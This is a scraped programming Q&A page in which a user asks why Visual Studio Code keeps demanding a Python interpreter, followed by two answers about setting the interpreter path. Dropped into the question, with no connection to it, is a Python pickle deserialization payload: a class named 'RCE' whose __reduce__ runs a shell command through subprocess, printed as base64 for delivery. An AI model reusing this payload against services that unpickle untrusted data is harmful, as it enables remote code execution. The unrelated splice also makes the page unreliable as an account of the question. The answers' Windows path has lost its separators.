skip to Main Content

When attempting to run any kind of python code in Visual Studio Code, i am getting a message that i need to select a python interpreter in the status bar. request message here is what the status bar looks like: enter image description here.

Issue is i have already installed python multiple times and deleted and installed it too. I have also selected a path a few times but that did not work for some reason. maybe i am not doing the correct path, if so then can someone do a complete instruction on how to get the correct installation and a path.

import pickle
import base64
import subprocess


class RCE:
    def __reduce__(self):
        cmd = ('ls')
        return subprocess.check_output, (cmd,)


if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(base64.urlsafe_b64encode(pickled))

Tried installing and python. also uninstalled brew with python a few times and redid but did not work. tried doing path as well but that failed too.

2

Answers


  1. Maybe check if you installed the right version of Python. You could also try to make a new path that you can have with only the main file and python. This answer might help: Python Interpreter Not Found VSCode

    Login or Signup to reply.
  2. you have copy of path where you installed python on your Computer and past to the field Select interpreter : python in status bar as you mentioned
    the path of install in my case is
    C:UsersyourUSERAppDataLocalProgramsPythonPython311python.exe

    to find correct path in your computer do the flowing steps
    1- click on windows and type python
    2- right click on python and chose the open file location
    3- right click on python again and chose the open file location
    4- click on address bar and add python.exe then copy fully path in address bar

    Login or Signup to reply.
Please signup or login to give your own answer.
Back To Top
Search